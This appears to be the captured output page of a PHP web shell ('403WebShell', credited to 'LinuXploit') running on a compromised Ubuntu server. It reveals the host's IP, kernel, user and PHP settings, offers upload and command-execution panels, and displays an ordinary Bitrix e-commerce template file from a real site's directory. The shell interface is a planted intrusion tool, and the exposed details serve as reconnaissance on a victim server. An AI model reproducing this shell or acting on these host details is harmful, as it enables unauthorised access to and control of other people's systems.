%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.218.11.211
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/install/components/bitrix/sale.mobile.product.list/templates/.default/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/install/components/bitrix/sale.mobile.product.list/templates/.default/template.php
<?if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true) die();

foreach ($arResult["BASKET"] as $product)
{
?>
<div class="order_detail_container">
	<div class="order_infoblock_title"><?=$product["INFO"]["NAME"]?></div>
		<table class="order_detail_table">
			<tr>
				<td class="order_detail_table_td_img">
					<?
					$productImg = getSaleProductImage($product);
					if($productImg):?>
						<img src="<?=$productImg["src"]?>" alt="<?=$product["INFO"]["NAME"]?>">
					<?else:?>
						<div class="no_foto"><?=GetMessage('SMPL_IMAGE_ABSENT');?></div>
					<?endif;?>
				</td>
				<td>
					<table class="order_detail_table_td_table">
						<thead>
							<tr>
								<td><?=GetMessage('SMPL_AMOUNT');?></td>
								<td><?=GetMessage('SMPL_BALANCE');?></td>
								<td><?=GetMessage('SMPL_PRICE');?></td>
							</tr>
						</thead>
						<tbody>
							<tr>
								<td><?=$product["QUANTITY"]?></td>
								<td><?=$product["BALANCE"]?></td>
								<td>
											<span class="price"><?=$product["PRICE_STRING"]?></span>
									<?if(isset($product["OLD_PRICE_STRING"])):?>
										<br />	<span class="price_old"><?=$product["OLD_PRICE_STRING"]?></span>
										<br />	<span class="price_sale"><?=GetMessage('SMPL_DISCOUNT');?>: <?=$product["DISCOUNT_STRING"]?></span>
									<?endif;?>
								</td>
							</tr>
						</tbody>
					</table>
				</td>
			</tr>
		</table>
	<?if (is_array($product["PROPS"]) && !empty($product["PROPS"])):?>
		<div class="order_detail_list_description_text">
			<div class="order_detail_list_description_title"><?=GetMessage('SMPL_PROPERTIES');?>:</div>
			<ul>
				<?
						foreach($product["PROPS"] as $vv)
							if($vv["VALUE"] <> '')
								echo "<li>".$vv["NAME"].": ".$vv["VALUE"]."</li>";
				?>
			</ul>
			<div class="clb"></div>
		</div>
	<?endif;?>
</div>
<?
}

function getSaleProductImage($product)
{
	$productImg = '';

	if($product["INFO"]["PREVIEW_PICTURE"] != "")
		$productImg = $product["INFO"]["PREVIEW_PICTURE"];
	elseif($product["INFO"]["DETAIL_PICTURE"] != "")
		$productImg = $product["INFO"]["DETAIL_PICTURE"];

	if (empty($productImg) && CModule::IncludeModule("catalog"))
	{
		$arParent = CCatalogSku::GetProductInfo($product["PRODUCT_ID"]);

		if(intval($arParent["ID"]) > 0)
		{
			$arProductData = getProductProps(array($arParent["ID"]), array("ID", "PREVIEW_PICTURE", "DETAIL_PICTURE", "IBLOCK_TYPE_ID", "IBLOCK_ID", "IBLOCK_SECTION_ID"));

			if(!empty($arProductData[$arParent["ID"]]["PREVIEW_PICTURE"]))
				$productImg = $arProductData[$arParent["ID"]]["PREVIEW_PICTURE"];
			elseif(!empty($arProductData[$arParent["ID"]]["DETAIL_PICTURE"]))
				$productImg = $arProductData[$arParent["ID"]]["DETAIL_PICTURE"];
		}
	}

	if ($productImg != "")
	{
		$arFile = CFile::GetFileArray($productImg);
		$productImg = CFile::ResizeImageGet(
											$arFile,
											array('width'=>80, 'height'=>80),
											BX_RESIZE_IMAGE_PROPORTIONAL,
											false,
											false
		);
	}

	return $productImg;
}
/*
<!--<div class="order_detail_container_itogi">
	<table class="order_detail_container_itogi_coupon">
		<tr>
			<td><?=GetMessage('SMPL_COUPON');?></td>
			<td>
				<div class="order_detail_container_coupon_input_container">
					<input type="text">
				</div>
			</td>
			<td><input type="button" class="order_detail_container_coupon_button" value="<?=GetMessage('SMPL_RECALCULATION');?>"></td>
		</tr>
	</table>
</div>-->
*/
?>

Youez - 2016 - github.com/yon3zu
LinuXploit